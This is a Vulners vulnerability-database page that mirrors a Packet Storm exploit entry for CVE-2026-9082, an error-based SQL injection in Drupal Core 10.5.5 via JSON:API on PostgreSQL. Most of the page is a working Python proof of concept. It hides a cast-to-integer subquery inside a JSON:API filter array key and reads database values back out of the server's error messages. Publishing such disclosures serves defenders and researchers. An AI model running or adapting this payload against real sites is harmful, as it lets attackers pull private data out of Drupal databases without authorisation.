Lucene search
K

๐Ÿ“„ Drupal core 10.5.5 SQL Injection

๐Ÿ—“๏ธย 02 Jun 2026ย 00:00:00Reported byย cardosourceTypeย 
packetstorm
ย packetstorm
๐Ÿ”—ย packetstorm.news๐Ÿ‘ย 50ย Views

Proof-of-concept for error-based SQL injection in Drupal Core 10.5.5 via JSON:API (PostgreSQL), CVE-2026-9082.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2026-9082
22 May 202619:49
โ€“githubexploit
GithubExploit
patch-to-exploit
26 May 202616:02
โ€“githubexploit
GithubExploit
Exploit for CVE-2026-9082
21 May 202614:46
โ€“githubexploit
GithubExploit
Exploit for CVE-2026-9082
21 May 202604:03
โ€“githubexploit
GithubExploit
Exploit for CVE-2026-9082
21 May 202610:42
โ€“githubexploit
GithubExploit
Exploit for SQL Injection in Drupal
7 Jun 202612:20
โ€“githubexploit
GithubExploit
Exploit for CVE-2026-9082
21 May 202604:30
โ€“githubexploit
GithubExploit
Exploit for SQL Injection in Drupal
27 May 202610:26
โ€“githubexploit
GithubExploit
Exploit for SQL Injection in Drupal
27 May 202609:11
โ€“githubexploit
Akamai Blog
CVE-2026-9082: Mitigating a Critical SQL Injection Vulnerability in Drupal
21 May 202610:20
โ€“akamaiblog
Rows per page
# Exploit Title: Drupal Core 10.5.5 - Error-Based SQL Injection 
    # Google Dork: N/A
    # Date: 2026-05-31
    # Exploit Author: cardosource
    # Vendor Homepage: https://www.drupal.org
    # Software Link: https://www.drupal.org/project/drupal
    # Version: Drupal Core 10.5.5
    # Tested on: Debian Linux (Docker), PHP 8.2, Apache, PostgreSQL 17
    # CVE: CVE-2026-9082
    #
    # Description:
    # This proof-of-concept demonstrates an Error-Based SQL Injection in
    # Drupal Core 10.5.5 (PostgreSQL). User-controlled JSON:API filter
    # array keys influence SQL query construction, allowing database
    # information disclosure through SQL error messages.
    
    
    
    import requests
    import json
    from urllib.parse import urlencode
    
    TARGET_URL = "http://localhost:8080/jsonapi/node/article"
    
    BANNER = """
    [+] Drupal Core 10.5.5 - Error-Based SQL Injection
    [+] CVE-2026-9082
    [+] Target: JSON:API (PostgreSQL)
    """
    
    
    def extract_data(subquery):
        headers = {
            "Accept": "application/vnd.api+json",
            "Content-Type": "application/vnd.api+json"
        }
        
        payload = f"0||CAST(({subquery}) AS INTEGER)"
       
        params = {
            "filter[my_filter][condition][path]": "title",
            "filter[my_filter][condition][operator]": "IN",
            "filter[my_filter][condition][value][0]": "Example",
            f"filter[my_filter][condition][value][{payload}]": "Injection"
        }
        
        try:
            response = requests.get(TARGET_URL, headers=headers, params=params, timeout=10)
           
            if response.status_code == 500:
                try:
                    error = response.json().get("errors", [{}])[0].get("detail", "")
                    if "invalid input syntax" in error:
                        data = error.split('"')[1] if '"' in error else error
                        print(f"\033[92m[SUCCESS]\033[0m {data}")
                except json.JSONDecodeError:
                    pass
        except requests.exceptions.RequestException:
            pass
    
    
    if __name__ == "__main__":
        print(BANNER) 
        extract_data("SELECT version()")

Data

Build on a solid foundation withย Vulners data

Weย provide theย essential building blocks forย cybersecurity solutions withย comprehensive, structured, andย constantly updated vulnerability andย exploits data

Api

Power your application withย Vulners API

The Vulners REST API offers reliable, high-performance access toย vulnerabilityย intelligence, withย 99.9%ย SLAย uptime andย CDN-backed data delivery forย seamlessย global access

App

Assess and manage vulnerabilities withย Vulnersย tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Jun 2026 00:00Current
6.1Medium risk
Vulners AI Score6.1
CVSS 3.19.8
EPSS0.84631
SSVC
50